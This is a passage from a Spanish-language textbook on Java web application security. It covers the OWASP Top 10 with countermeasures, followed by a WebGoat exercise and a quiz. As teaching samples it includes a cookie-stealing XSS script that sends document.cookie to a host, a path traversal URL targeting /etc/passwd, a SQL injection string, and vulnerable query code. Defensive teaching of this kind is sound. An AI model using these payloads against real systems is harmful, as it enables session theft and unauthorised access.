 Un ejemplo podría ser cuando un atacante aloja un site malicioso cuyo contenido enlaza a una página vulnerable en el sistema local del cliente. Se podría inyectar un script y llegar a ejecutarlo con los privilegios que tiene el navegador del cliente en su sistema. Esta situación, se saltaría por completo el sandbox (restricción de seguridad) del lado cliente, no solo las restricciones entre dominios (crossdomain) que habitualmente se evitan en otros exploits XSS. 
 
 Para protegernos de este tipo de ataques, lo que deberemos es filtrar todas las entradas de nuestras aplicaciones y escapando todos los datos que recibamos. 
 
 
 1.3.5 Fases de un ataque XSS 

 A grandes rasgos podemos distinguir las siguientes fases. 
  
	 Fase 1: Identificar el código HTML que podríamos introducir en algunos de los formularios que ofrece el sitio. 
 
	 Fase 2: Realizar pruebas de concepto probando diferentes casuísticas para alterar un sitio web o llegar a robar las credenciales o cookies de los usuarios. 
 
	 Fase 3: Crear un sitio malicioso que permita llevar a cabo el robo de credenciales, suplantación de identidad, envío de emails 
 
 
 
 1.3.6 Ejemplo de un ataque XSS 

 Si una página web presenta una vulnerabilidad XSS un atacante puede aprovecharla para ejecutar código que capture el contenido de la cookie y se lo envíe. El siguiente código Javascript permite capturar la cookie de sesión: 
 
 
 
  <script type=”text/javascript”> 
 
 
 
  new Image().src=”http://localhost/?”+encodeURI(document.cookie) 
 
 
 
  </script> 
 
 
 
 En aplicaciones con Java, para evitar esta situación tenemos la etiqueta httponly, de modo que el navegador impide el acceso por medio de scripts a las cookies que tienen este atributo. Las cookies solo han de ser accesibles a través del protocolo HTTP. Se configura mediante la opción http-only de web.xml: 
 
 
 
  <session-config>
   <cookie-config>
      <http-only>true</http-only>
   </cookie-config>
 <session-config>
 
 
 
 Otro claro ejemplo de ataque XSS lo podemos encontrar en foros, el cuerpo del mensaje que publicamos no se valida de forma correcta. De esta forma, como usuario del foro podría publicar un post en el que el cuerpo del mensaje fuera un iframe invisible y poner una redirección a una página exterior que se haya creado de forma malintencionada para obtener datos de usuarios. Cuando yo publique el post, todos los usuarios que lo lean, sin darse cuenta, realizarán una petición a mi página con código maliciosa pudiendo, de esta forma, hacerme con los datos de sus cookies y suplantándolos en el foro. 
 
 
 1.3.7 Contramedidas 

 Las contramedidas en este punto van destinadas a usar técnicas de validación de los datos de entrada y una adecuada codificación de los datos de salida. La validación permite la detección de ataques, y la codificación previene cualquier inyección de secuencia de comandos en el navegador. Para ello a nivel de código es recomendable seguir las siguientes recomendaciones: 
  
	 Validación de Entradas  
	 Utilizar un mecanismo estándar de validación de entrada para validar toda la información entrante en términos de longitud, tipo, sintaxis, y reglas de negocio antes de permitir que la información sea visualizada o almacenada. Utilizar una estrategia de validación de “aceptar solo lo bueno”. 

 
	 Filtrado, por ejemplo, con expresiones regulares. 
 
	 Listas blancas (Whitelisting). 
 
 
 
	 HTTPOnly Cookie Flag (Activar la opción httponly en el servidor web) 
 
	 Codificación de salidas (Encoding)  
	 HTML Encoding 
 
	 URL Encoding 
 
	 Javascript Encoding 
 
 
 
	 Algunos Java frameworks Web como JSF (Java Server Faces) incluyen soporte para evitar XSS proporcionando mecanismos para emitir código HTML sanitizado a partir de datos de la aplicación. 
 
	 ”Escapar” los caracteres problemáticos (<, >, ’, “, &) , conviertiéndolos en entidades HTML. 
 
	 Codificación fuerte de salida. Asegurar que toda la información suministrada por el usuario sea apropiadamente codificada (sea ISO 8859-1 o UTF 8). 
 
 
 
 1.4 REFERENCIA DIRECTA INSEGURA A OBJETOS 
 



 
 1.4.1 Introducción 

 Una referencia directa a un objeto se produce cuando un desarrollador expone una referencia a un objeto de implementación interna, como un archivo, directorio o clave de base de datos. Sin la comprobación de control de acceso u otra protección, los atacantes pueden manipular estas referencias para el acceso no autorizado a datos. 
 
 
 1.4.2 Referencia directa insegura a objetos 

 Muchas aplicaciones presentan a los usuarios referencias a objetos internos. Un atacante podría manipular los parámetros de entrada a la aplicación cambiando estas referencias, saltándose de esta manera un control de accesos incorrectamente desarrollado. Con frecuencia, estas referencias apuntan a sistemas de ficheros y bases de datos, si bien cualquier otro elemento de la aplicación podría ser vulnerable por un problema de esta categoría. 
 
 Por ejemplo, podemos tener el caso ver en la URL los parámetros de forma visible en el cual podemos probar valores http://example.com/page?param=xxxx 
 
 
 1.4.3 Ejemplos 

 Aplicaciones vulnerables que dan acceso directo a recursos mediante URL directas sin verificar si el usuario efectivamente está autorizado a acceder a ellos. 
 
 Por ejemplo, en las aplicaciones de banca en línea, es común utilizar el número de cuenta como clave primaria. Por consiguiente, se podría tener la tentación de usar esta clave directamente como parámetro en la interfaz Web. 
 
 Aún en el caso de que el equipo de desarrollo hubiera utilizado consultas SQL preparadas (“parameterized SQL queries”) para evitar una inyección SQL, podría ser posible que un atacante modificara este parámetro para ver o cambiar todas las demás cuentas, si no se verifica también que el usuario es el titular de la cuenta bancaria o está autorizado para acceder a la misma. 
 
 Un atacante puede explotar la vulnerabilidad sencillamente adivinando o buscando otros valores válidos para el parámetro que se está exponiendo. Un ejemplo de código vulnerable en Java, un atacante puede cambiar el parámetro “id_cart” para obtener la información asociada a cualquier “carrito de la compra” de la aplicación. 
 
 
 
  int id_cart = Integer.parseInt(request.getParameter(“id_cart”)); 
 
 
 
  String query = “SELECT * FROM table WHERE cartID=” + id_cart ; 
 
 
 
 En la select que utilizaríamos para recuperar los datos de la cuenta, dicho identificador de cuenta debería de ir también acompañado del identificador de usuario que sacaríamos de sesión, de está forma, en caso de no ser el propietario, no nos devolvería sus datos. 
 
 
 
  int id_cart = Integer.parseInt( request.getParameter(“id_cart”)); 
 
 
 
  User user = (User)request.getSession().getAttribute(“user”); 
 
 
 
  String query = “SELECT * FROM table WHERE cartID=” + id_cart + “ AND userID=” 
 
 
 
  + user.getID(); 
 
 
 
 Otro ejemplo podría ser la descarga de un fichero mal controlada. 
 
 http://www.sitio.org/descarga?dir=nomina&file=file.pdf 
 
 A partir de esta URL con una pequeña modificación, podríamos descargar cualquier nómina. Es más, si no se lleva un buen control de servicios en el servidor, podríamos descargar cualquier fichero, un ejemplo sería: 
 
 http://www.sitio.org/descarga?dir=../../../etc&file=passwd 
 
 
 1.4.4 Contramedidas 

 La mejor protección es evitar presentar al usuario cualquier referencia directa a un objeto, mediante el uso de un parámetro, o cualquier otro método que sea fácil de verificar. Es importante establecer una manera estándar para diseñar referencias a objetos de la aplicación: 
  
	 Evitar presentar al usuario referencias a objetos privados de la aplicación siempre que sea posible, por ejemplo, parámetros, claves primarias o nombres de fichero. 
 
	 Verificar la autorización a todos los objetos referenciados. 
 
	 Verificar que todas las referencias a objetos tienen las protecciones apropiadas. 
 
	 Verificar si el usuario está autorizado a acceder al recurso en concreto que solicita y el modo en que intenta acceder (ej., lectura, escritura, modificación) 
 
 
 
 1.5 CONFIGURACIÓN DE SEGURIDAD INCORRECTA 
 



 
 1.5.1 Introducción 

 Esta vulnerabilidad consiste en aprovechar configuraciones por defecto de cualquiera de los elementos sobre los que funciona la aplicación web (servidor web y de aplicaciones, servidor de base datos). 
 
 
 1.5.2 Configuración de seguridad incorrecta 

 Una buena seguridad requiere tener definida e implementada una configuración segura para la aplicación, servidores de aplicación, servidores web, base de datos, y plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas ya que por lo general no son seguras por defecto. 
 
 Las aplicaciones pueden revelar, involuntariamente, información sobre su configuración, su funcionamiento interno, o pueden violar la privacidad a través de una variedad de problemas. También pueden revelar su estado interno dependiendo de cuánto tardan en procesar ciertas operaciones u ofreciendo diferentes respuestas a diferentes entradas, como, por ejemplo, mostrando el mismo mensaje de error con distintos números de error. Esta información puede ser utilizada para lanzar, o incluso automatizar, ataques muy potentes. 
 
 Con frecuencia las aplicaciones fallan en el cifrado de tráfico de redes cuando es necesario proteger comunicaciones importantes. El cifrado (normalmente SSL) debería ser usado para todas las conexiones autenticadas, especialmente páginas accesibles desde Internet, aunque también para conexiones de bases de datos. 
 
 En caso contrario, la aplicación puede dejar expuestos los testigos de autenticación y de sesión. Por ejemplo, el estándar de PCI exige que toda la información de tarjetas de crédito transmitida a través de internet esté cifrada. 
 
 
 1.5.3 Contramedidas 

 Sirva como recomendación general la actualización constante de los sistemas (servidores de BBDD, web, aplicaciones, firewalls) y la eliminación de las configuraciones y contraseñas por defecto. 
 
 Las contramedidas en este punto van destinadas a verificar la gestión de la configuración y la generación de errores de la aplicación. Para ello es recomendable seguir las siguientes recomendaciones: 
 
 Verificar la gestión de configuración 
  
	 Uso de guías de securización y buenas prácticas. 
 
	 Mantener actualizadas todas las plataformas. 
 
	 Aplicar parches y actualizaciones de seguridad en todos los componentes de la aplicación (librerías de terceros, servidor de aplicaciones). 
 
 
 Los programas de auditoría de seguridad son buenos para abarcar grandes cantidades de pruebas para detectar fallos de seguridad, así como la existencia de configuraciones por defecto. 
 
 Verificar la generación de errores de la aplicación 
 
 Los desarrolladores pueden usar herramientas como WebScarab, de OWASP, para intentar hacer que sus aplicaciones generen errores. Las aplicaciones deberían incluir una arquitectura de gestión de errores estándar para prevenir revelar información no deseada a los atacantes. En este punto es importante deshabilitar o limitar la gestión de errores detallada. Deberemos manejar todos los errores que puedan salir y no volcar nunca información de los sistemas en estos errores y permitir que dicha información llegue al usuario, ya que podría utilizar esta información para preparar un ataque. Es decir, por supuesto que hay que informar al usuario cuando se produce un error, pero esta información habrá sido tratada y procesada por nosotros previamente, y al usuario final se le mostrará convenientemente formateada. 
 
 Por último, recomendaría la auditoría periódica de las aplicaciones desplegadas y los entornos donde se han desplegado. 
 
 
 1.6 EXPOSICIÓN DE DATOS SENSIBLES 
 



 
 1.6.1 Introducción 

 Muchas aplicaciones web no protegen adecuadamente los datos sensibles, como pueden ser tarjetas de crédito, NIF o credenciales de autenticación. Los atacantes pueden robar o modificar esos datos mal protegidos para llevar a cabo el fraude de tarjetas de crédito, robo de identidad u otros delitos. Los datos confidenciales deberían tener una protección extra, como el cifrado en almacenamiento o en transmisión, así como precauciones especiales cuando se envían usando el navegador. Proteger datos delicados con criptografía se ha convertido una parte clave de la mayoría de las aplicaciones Web. 
 
 
 1.6.2 Exposición de datos sensibles 

 Los principales problemas que nos podemos encontrar cuando nuestra aplicación expone lo datos sensibles de la misma son: 
 
 Almacenamiento criptográfico inseguro 
 
 Las aplicaciones Java EE pocas veces utilizan las funciones criptográficas para proteger los datos y credenciales o las utilizan de forma incorrecta. Los problemas más comunes son: 
  
	 Ausencia de cifrado de datos sensibles (en las peticiones o en el almacenamiento en BD). 
 
	 Deficiencias en el uso de la criptografía: algoritmos débiles, hashes sin salt, contraseñas simples (por defecto, predecibles o “de diccionario”). 
 
	 Utilizar algoritmos no estandarizados 
 
	 Uso inseguro de algoritmos de cifrado fuerte 
 
	 Uso de algoritmos de criptográficamente rotos como MD5 o SHA-1 
 
	 Almacenamiento de claves en sitios desprotegidos 
 
 
 Protección insuficiente en la capa de transporte 
  
	 Ausencia de protección del tráfico de peticiones y respuestas sensibles (credenciales de autenticación, contenidos privados, etc). 
 
	 Ausencia o uso inadecuado de SSL/TLS: certificados expirados, ausencia de protección de URL sensibles, mezcla de URL SSL y no-SSL. 
 
 
 
 1.6.3 Contramedidas 

 Las contramedidas en este punto van destinadas a verificar los mecanismos de cifrado y prevenir la protección insuficiente en la capa de transporte. Para ello es recomendable seguir las siguientes recomendaciones: 
 
 Verificar los mecanismos de cifrado 
  
	 Encriptar mensajes individualmente antes de transmitirlos. 
 
	 Firmar digitalmente los mensajes antes de transmitirlos. 
 
	 Verificar que la comunicación entre componentes (ej., servidor web y base de datos) utiliza un canal seguro. 
 
	 Uso de algoritmos de cifrado como SHA256, SHA512, AES, criptografía de llave pública RSA, en este punto no se recomienda usar MD5 ni SHA-1 ya que criptográficamente están rotos. 
 
 
 Prevenir protección insuficiente en la capa de transporte 
  
	 Emplear SSL para proteger todo el tráfico relacionado con la autenticación 
 
	 Se debe evitar el acceso SSL únicamente a determinados recursos de una página ya que esto provoca advertencias en el navegador y puede exponer el identificador de sesión de los usuarios. 
 
	 Comprobar que todas las cookies de sesión tienen el atributo “secure” activado. 
 
	 El certificado debe ser legítimo y estar configurado correctamente para este servidor. 
 
 
 
 1.7 AUSENCIA DE CONTROL DE ACCESO A LAS FUNCIONES 
 



 
 1.7.1 Introducción 

 La ausencia de controles (configuración del servidor, controles a nivel de aplicación/framework) pueden hacer que un atacante pueda acceder a URL privadas (consolas de administración, pantallas de configuración). El resultado es que usuarios anónimos o con menos privilegios acceden a recursos y funcionalidades de usuarios de más alto nivel. 
 
 El acceso a URL restringidas consiste en la observación de una URL e intentar cambiarla para intentar acceder a otras zonas. Estas es una de las razones por las que la seguridad a través de la ocultación no es efectiva. 
 
 
 1.7.2 Problemática 

 Muchas aplicaciones web verifican el nivel de los permisos de acceso a las funciones antes de hacer cada funcionalidad visible en la interfaz de usuario (UI). Sin embargo, las aplicaciones necesitan realizar las mismas comprobaciones del control de acceso en el servidor cuando se accede a cada función. Si las solicitudes no se verifican, los atacantes podrán falsificarlas con el objetivo de acceder a funcionalidades sin la debida autorización. 
 
 El peligro de este tipo de ataque es que datos que deberían solo mostrarse a determinados usuarios quedan expuestos a personas que no deberían tener acceso a ellos, de aquí que la importancia del efecto del ataque vaya desde baja, en caso de no tener ningún dato confidencial, hasta muy alta, en caso de tener datos de carácter personal o privado. 
 
 El principal problema que tenemos es que no hay forma fiable de asegurar que se accede a cada función por el usuario adecuado, solamente revisando el código fuente. Esta vulnerabilidad, que depende de los requisitos funcionales, debería ser verificada por pruebas funcionales y de seguridad. Un error común es suponer que al desconocerse una ubicación es suficiente para asumir que es segura. 
 
 Por ejemplo, un posible atacante podría identificar URL del tipo /user/ getAccounts. 
 
 La modifica apuntando a otra carpeta /admin/getAccounts, /manager/ getAccounts y de esta forma podría acceder a otras cuentas. 
 
 Las aplicaciones Java EE a menudo protegen funcionalidades sensibles impidiendo solamente que se muestren enlaces o URL a los usuarios no autorizados. Los atacantes pueden utilizar estas debilidades para acceder o llevar a cabo operaciones no autorizadas, accediendo esas URL de forma directa. El ataque principal que explora esta vulnerabilidad se llama “forced browsing” y trata de adivinar los enlaces y encontrar las páginas sin protección mediante técnicas de fuerza bruta. 
 
 Algunos ejemplos de este tipo de vulnerabilidades son: 
  
	 URL ocultos, reservados solamente para administradores o usuarios privilegiados en la capa de presentación, pero accesibles a todos los usuarios si saben que existen estas rutas. 
 
	 Las páginas utilizadas durante el desarrollo o verificación que sirven de maqueta para roles de autorización y se despliegan en entorno de producción. 
 
	 Las aplicaciones a menudo permiten acceso a los ficheros “ocultos”, tales como ficheros XML estáticos o informes generados por el sistema, confiando en que no se sabe que estos existen. 
 
	 El código que solamente evalúa los privilegios en la parte cliente y no en la del servidor. 
 
 
 Realmente este fallo, más que de programación, es un fallo de administración de la autorización y la autenticación. Todos sabemos que para una página o portal web existen dos ámbitos principalmente, el público y el privado, pero en muchas ocasiones, dentro del ámbito privado, existen diferentes niveles de acceso según el usuario que está accediendo. Existen zonas a las que solo tendría que tener acceso un administrador del portal, zonas a las que solo tendría que tener acceso determinado grupo de trabajadores, pero no otro. En muchas ocasiones, estos controles de acceso están mal gestionados, y aunque un usuario básico no tenga ningún enlace a una zona restringida o lo tenga deshabilitado, si escribe directamente la dirección en la barra del navegador podrá acceder sin problemas. 
 
 
 1.7.3 Contramedidas 

 Las contramedidas en este punto van destinadas a verificar los mecanismos de acceso a cada una de las URL definidas en la aplicación. Para ello es recomendable seguir las siguientes recomendaciones para cada URL: 
  
	 Restringir el acceso solo a usuarios autenticados. 
 
	 Imponer los permisos de usuario o rol. 
 
	 Deshabilitar completamente las peticiones a paginas desautorizadas (ej., ficheros de configuración, ficheros de log, código fuente, etc.). 
 
	 Realizar pruebas de intrusión antes de la implantación o entrega del código para asegurar que la aplicación no puede ser usada de manera malintencionada por un atacante externo. 
 
 
 
 1.8 FALSIFICACIÓN DE PETICIONES EN SITIOS CRUZADOS (CSRF) 
 



 
 1.8.1 Introducción 

 Un ataque CSRF fuerza al navegador de una víctima que haya iniciado sesión a mandar una petición falsificada HTTP, incluyendo la cookie de sesión de la víctima a una aplicación web vulnerable. Esto permite al atacante conseguir que el navegador de la víctima genere peticiones consideradas como peticiones legítimas cuando en realidad no lo son. 
 
 
 1.8.2 Falsificación de peticiones en sitios cruzados (CSRF) 

 Un ataque CSRF fuerza al navegador de una víctima a enviar una petición a una aplicación web vulnerable, la cual entonces realiza la acción elegida a través de la víctima. Es una vulnerabilidad web que le permite a un atacante, utilizando las credenciales de un usuario cualquiera de una aplicación web, realizar acciones sobre la aplicación sin el conocimiento del usuario. 
 
 Esto lo consigue engañando al usuario para que ejecute código malicioso (escondido en enlaces, etiquetas de imágenes y correos electrónicos entre otros) que envía peticiones al servidor de la aplicación desde el computador del usuario válido. Estas peticiones son aceptadas por la aplicación ya que provienen de un navegador confiable, ejecutando las acciones requeridas. Lo que un atacante puede conseguir depende de las funcionalidades que permita el sitio. 
 
 Los factores que facilitan los ataques CSRF son principalmente los siguientes: 
  
	 Manejo inapropiado de credenciales: La mayoría de sitios web confían en que una vez que un usuario se haya logueado, todas las peticiones que provengan del navegador son legítimas y no se verifica si son peticiones desde un origen diferente al del propio sitio web. Esto le permite al atacante generar peticiones a través de cualquier medio posible, como por ejemplo, formularios auto-ejecutables, correos electrónicos HTML, enlaces llamativos, etc. 
 
	 Etiquetas HTML: Muchos de los ataques CSFR se generan insertando URL con comandos específicos en etiquetas HTML que tienen una función distinta, pero que son explotadas debido a que generan peticiones automáticas al servidor web, las cuales no son verificadas en su contexto. 
 
	 Uso de métodos POST y GET para envío de formularios: La información de los formularios se envía al servidor por medio de los métodos GET y POST. Se sugirió utilizar el método POST solamente ya que GET envía toda la información en la URL de manera visible permitiendo a un atacante obtener datos importantes para planear sus ataques. Pero el método POST no evita el riesgo de CSFR ya que una vez que se tengan todos los campos del formulario, estos se pueden enviar por medio de una función JavaScript que se ejecuta en el evento onload de la página web del atacante. 
 
 
 
 1.8.3 Política del mismo origen (SOP) 

 La política del mismo origen SOP (Same Origin Policy) es un mecanismo de seguridad de los navegadores para restringir la ejecución de código proveniente de servidores ajenos, de forma que para que un script pueda acceder a un elemento cualquiera del árbol DOM de la página cargada (datos, funciones javascript, estilos) debe estar cargado en un árbol DOM perteneciente al mismo dominio. 
 
 La política del mismo origen nos protege del cross-site scripting con los dominios de los servicios o URL que invocamos que son externos a nuestro dominio y prohíbe el intercambio de datos entre orígenes diferentes basado en tres factores: host, protocolo y puerto. 
 
 Por ejemplo, si se abre el sitio http://example.com/index.htm, la SOP del navegador aceptaría o rechazaría accesos a script y datos de las siguientes fuentes: 
 
 http://example.com/about.htm(puerto 80): aceptado, mismo host 
 
 https://example.com/doc.html(puerto 443): rechazado por diferente puerto 
 
 http://google.com/search.php(puerto 80): rechazado por distinto dominio 
 
 
 1.8.4 Contramedidas 

 Las contramedidas en este punto van destinadas a evitar que un posible atacante pueda falsificar una petición HTTP. Para ello es recomendable seguir las siguientes recomendaciones: 
  
	 Añadir un token único a todas las peticiones HTTP/HTTPS. 
 
	 Los tokens deben ser lo suficientemente fuertes o aleatorios. 
 
	 Almacenar un token único en la sesión y agregarlo en todos los formularios y enlaces. 
 
	 Se recomienda el uso de campos ocultos para enviar dicho token. 
 
	 Añadir información relacionada con la sesión a la URL. Teniendo otra información específica de la sesión que esté siendo generada a nivel de la URL dificulta al atacante conocer la estructura de las URL a atacar. 
 
 
 
 
  <form action=”/transfer.do” method=”post”> 
 
 
 
  <input name=”token” value=”687965fdfaew87agrde” type=”hidden”/> 
 
 
 
  </form> 
 
 
  
	 Utilizar POST en lugar de GET para los datos de formularios. 
 
	 Confiar en las cabeceras Referer, y permitir solo aquellas peticiones que parezcan provenir de URL válidas. Aunque las cabeceras Referer se pueden falsificar, proporcionan una protección mínima, por ejemplo, inhiben ataques vía correo electrónico. 
 
 
 Las contramedidas más aceptadas como efectivas contra la vulnerabilidad tienen que ver con el uso de tokens aleatorios, ocultos, que no se envíen en la URL y con un tiempo de vida corto que no le permitan al atacante adivinar fácilmente las credenciales de un usuario y que no le den tiempo suficiente para ejecutar sus acciones. 
 
 El Cheat Sheet de prevención de CSRF es una guía donde se describen las consideraciones de seguridad necesarias para evitar este tipo de vulnerabilidades. 
 
 www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet 
 
 
 1.9 USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS 
 



 
 1.9.1 Introducción 

 Esta vulnerabilidad está relacionada con fallos conocidos en servidores o componentes de frameworks pueden ser atacados o explotados de forma automática. 
 
 
 1.9.2 Riesgos presentados 

 Los componentes, ya sean frameworks, librerías u otros módulos del software, casi siempre se ejecutan con todos los privilegios. Si se explota un componente vulnerable, dicho ataque podría facilitar la pérdida de datos importantes o la toma del control del servidor. Las aplicaciones que usen componentes con vulnerabilidades conocidas pueden afectar a las defensas de la aplicación y permitir un amplio abanico de posibles ataques e impactos. 
 
 
 1.9.3 Ejemplos 

 Los componentes vulnerables pueden causar casi cualquier tipo de riesgo, desde algo trivial a malware más sofisticado diseñado para un objetivo específico. Casi siempre los componentes tienen todos los privilegios de la aplicación, debido a esto cualquier vulnerabilidad en un componente puede dar lugar a que la aplicación entera también lo sea. 
 
 Los siguientes componentes se pueden considerar vulnerables y cualquier aplicación que los use es susceptible de ataques: 
  
	 Apache CXF Authentication Bypass: Un atacante puede invocar cualquier servicio web con todos los permisos debido a que no valida correctamente el token de autenticación. 
 
	 Spring Remote Code Execution: El uso del componente “Expression Languaje” puede hacer que un atacante ejecute código arbitrario, tomando el control del servidor. 
 
 
 
 1.9.4 Contramedidas 

 Las contramedidas en este punto van destinadas a realizar validación. Para ello es recomendable seguir las siguientes recomendaciones: 
  
	 Identificar todos los componentes y la versión que están desplegando, incluyendo otras dependencias del componente. 
 
	 Revisar la seguridad del componente en bases de datos públicas, listas de correos del proyecto, listas de correo de seguridad, y mantenerlos actualizados. 
 
	 Establecer políticas de seguridad que regulen el uso de componentes, como requerir ciertas prácticas en el desarrollo de software, por ejemplo, pasar test de seguridad. 
 
	 Sería recomendable añadir capas de seguridad adicionales alrededor del componente para deshabilitar funcionalidades no utilizadas y/o asegurar aspectos vulnerables del componente. 
 
 
 
 1.10 REDIRECCIONES Y ENVÍOS NO VÁLIDOS 
 



 
 1.10.1 Introducción 

 Las aplicaciones web frecuentemente redirigen y reenvían a los usuarios hacia otras páginas o sitios web, y utilizan datos no confiables para determinar la página de destino. Sin una validación apropiada, los atacantes pueden redirigir a las víctimas hacia sitios de phishing o malware, o utilizar reenvíos para acceder a páginas no autorizadas. 
 
 
 1.10.2 Riesgos que presenta 

 Redirecciones gobernadas por parámetros presentes en las URL o peticiones HTTP. Un atacante podría construir una URL/petición que redirija al usuario a una URL bajo su control lo que podría implicar robo de credenciales/sesiones/cookies. 
 
 Por ejemplo, podemos encontrar aplicaciones qué en determinadas ocasiones, por necesidad de la propia aplicación se realice una redirección legítima a través de un valor obtenido por un parámetro. 
 
 Un ejemplo sería algo como: 
 
 http://www.example.org/redirigir.php?url=example2.org 
 
 Esta página recogería el parámetro y haría una redirección a URL recibida. 
 
 ¿Qué pasa si un atacante ha conseguido modificar ese parámetro? Pues que nuestra aplicación estaría redirigiendo a una URL ilegítima con las posibles consecuencias de ello. 
 
 Por ejemplo: 
 
 http://www.example.org/redirigir.php?url=phishing.org 
 
 Si el usuario hiciera click en el enlace con la redirección alterada, acabaría sufriendo un ataque de phishing. 
 
 
 1.10.3 Contramedidas 

 Las contramedidas en este punto van destinadas a realizar la validación correcta de hacia donde se enviará al usuario. Para ello es recomendable seguir las siguientes recomendaciones para cada URL: 
  
	 Intentar evitar el uso de redirecciones y destinos. 
 
	 No utilizar parámetros provistos por usuarios para definir la URL destino. 
 
	 Para las redirecciones validar la URL destino para asegurarse que sea un sitio externo autorizado 
 
	 Si se deben utilizar dichos parámetros, tenemos dos alternativas:  
	 Validar cada parámetro para asegurarse que es válido y se encuentra autorizado para el usuario actual. 
 
	 Utilizar mapeos del lado del servidor para ‘traducir’ la opción provista al usuario en la verdadera página de destino. 
 
 
 
 
 A grandes rasgos, para evitar este tipo de ataques, basta con realizar las validaciones oportunas a la hora de hacer redirecciones. Toda redirección realizada a partir de un parámetro tendría que ser validada previamente comprobando que dicha redirección se va a realizar a un destino válido y confiable. 
 
 
 1.11 EJERCICIOS 
 


 
	 Completar el siguiente código donde se muestra un método para hacer un insert de un objeto Usuario en la base de datos. El objetivo es realizar el insert de un usuario con Java prepared Statements.Sustituir las xxx por métodos y variables definidas. 
 
 
 
 
  public boolean insertarUsuario(Usuario user) {
    Connection conexion = null;
    boolean insertado = false;
    PreparedStatement insert = null;
    try {
        conexion = pool.getConnection();
        //Definir la estructura de la consulta
        insert = conexion.xxx(“INSERT INTO Usuarios VALUES
 (?,?,?,?,?)”);
        //Indicamos cada uno de los parámetros
        insert.xxx(1, user.getMail());
        insert.xxx(2, user.getNombre());
        insert.xxx(3, user.getDir());
        insert.xxx(4, user.getPass());
        insert.xxx(5, user.getPermisos(), java.sql.Types.CHAR, 1);
        int filasAfectadas = insert.xxx();
        if (xxx == 1) {
           insertado = true;
        }
    } catch (SQLException ex) {
        logger.log(Level.SEVERE, “Error insertando usuario”, ex);
    } finally {
        cerrarConexion(conexion);
    }
    return insertado;
 }
 
 
 
 2. Instalar el proyecto WEBGOAT de OWASP y probar la vulnerabilidad de SQL Inyection detectando qué parte del código es vulnerable. 

 
 La página oficial del proyecto es: 
 
 https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project 
 
 La forma más rápida de probarlo es bajarnos el fichero 
 
 https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0.1-warexec.jar 
 
 y ejecutarlo con la herramienta java -jar. 
 
 
 
 
  java -jar webgoat-container-7.0.1-war-exec.jar 
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 Figura 1.3. Ejecución webgoat desde línea de comandos 
  
 
 Con esto ya tenemos la aplicación ejecutándose en un servidor Apache Tomcat embebido en el puerto 8080. Si accedemos a la URL http://localhost:8080/WebGoat 
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 Figura 1.4. Pantalla de login de Webgoat 
  
 
 La aplicación proporciona una serie de usuarios por defecto que podemos utilizar para entrar y podemos encontrar formularios donde podemos encontrar vulnerabilidades con las cuáles podemos practicar. 
 
 La vulnerabilidad SQL Injection la podemos encontrar en el menú Injection Flaws. 
 
 
 [image: images/img-54-1.jpg] 

 Figura 1.5. Pantalla SQL Injection de Webgoat 
  
 
 El objetivo de esta pantalla es inyectar código SQL en el campo de búsqueda para obtener todos los registros de la base de datos. 
 
 En este caso bastaría con poner ‘ OR ‘1’=’1 para obtener todos los registros. 
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 Figura 1.6. Salida SQL Injection 
  
 
 En la sección Java Source podemos ver el código que está detrás de esta consulta: 
 
 El código que es vulnerable a SQL Injection es el correspondiente a la función injectableQuery donde se observa cómo construye y ejecuta la query: 
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 Figura 1.7. Captura de pantalla función injectableQuery 
  
 
 El código que soluciona esta vulnerabilidad es el correspondiente a la función parameterizedQuery donde se observa cómo se utilizan prepareStatements para construir la consulta. 
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 1.12 RESUMEN 
 


 La seguridad en las aplicaciones web puede definirse de varias maneras dependiendo del punto de vista. Un enfoque muy popular para proveer seguridad es identificar las posibles vulnerabilidades de seguridad de las aplicaciones y qué medidas habría que tomar para erradicarlas o en su defecto mitigarlas de alguna manera. Para la tarea de identificación de las posibles vulnerabilidades en las que podría incurrir una aplicación Web, se puede utilizar como referencia la información que se encuentra en el sitio del proyecto OWASP. 
 
 En el sitio del proyecto OWASP se ofrece un conjunto de soluciones para el desarrollo de aplicaciones Web en JAVA. Dichas soluciones están orientadas a la autorización, autenticación, validación de datos de entrada y protección de XSS. Toda esta información intenta acercar al desarrollador mecanismos de seguridad para lograr aplicaciones web seguras. 
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 1.14 AUTOEVALUACIÓN UNIDAD 1 
 


 Selecciona la respuesta correcta 
 
 
	 ¿Qué vulnerabilidad permite insertar un código SQL dentro de otro código SQL para alterar su funcionamiento normal? 
 
	 Inyección SQL 
 
	 Cross SQL Scripting 
 
	 Cross Site Scripting 
 
	 Cross Site Requet Forgery 
 
 
 
	 ¿Cuál es la forma más sencilla de asegurar las consultas en base de datos contra una inyección sql? 
 
	 Concatenar los parámetros mediante un búfer de Java 
 
	 Es necesario usar métodos y consultas específicas de cada base de datos 
 
	 Usar sentencias preparadas (Prepared statements en Java) y procedimientos almacenados 
 
	 Generar las consultas de forma dinámica con los parámetros que se envían desde el cliente 
 
 
 
	 ¿Cómo se puede añadir en Java a la sesión un indicador booleano(true) indicando que el usuario se ha autenticado(auth) correctamente? 
 
	 request.setSession(“auth”, true); 
 
	 request.getSession().setAttribute(“auth”, true); 
 
	 request.setAuthentication(“auth”, true); 
 
	 setSession(“auth”, true); 
 
 
 
	 ¿Qué acción en Java nos ayudaría a prevenir la fijación de sesión? 
 
	 Establecer un timeout de sesión en el fichero web.xml 
 
	 Establecer un atributo fixation en la sesión a valor false request.getSession().setAttribute(“fixation”, false); 
 
	 Establecer un atributo fixation en la sesión a valor true request.getSession().setAttribute(“fixation”, true); 
 
	 Finalizar la sesión actual y crear una nueva con el objeto request session.invalidate(); session=request.getSession(true); 
 
 
 
	 ¿Qué tipo de ataque XSS el código javascript se envía y sin realizar validaciones se almacena en el servidor de forma persistente? 
 
	 Stored XSS 
 
	 Reflejado 
 
	 DOM Based XSS 
 
	 JavaScript XSS 
 
 
 
	 ¿Qué código javascript permite obtener las cookies del navegador? 
 
	 javascript:document.cookies 
 
	 javascript:document.cookie 
 
	 javascript:browser.cookie 
 
	 javascript:browser.cookies 
 
 
 
	 ¿Qué etiqueta o atributo podemos utilizar en aplicaciones web en Java para evitar el acceso por medio de scripts a las cookies del navegador? 
 
	 httponly cookie 
 
	 httpcookie secure 
 
	 httpsecure cookie 
 
	 httpsecure 
 
 
 
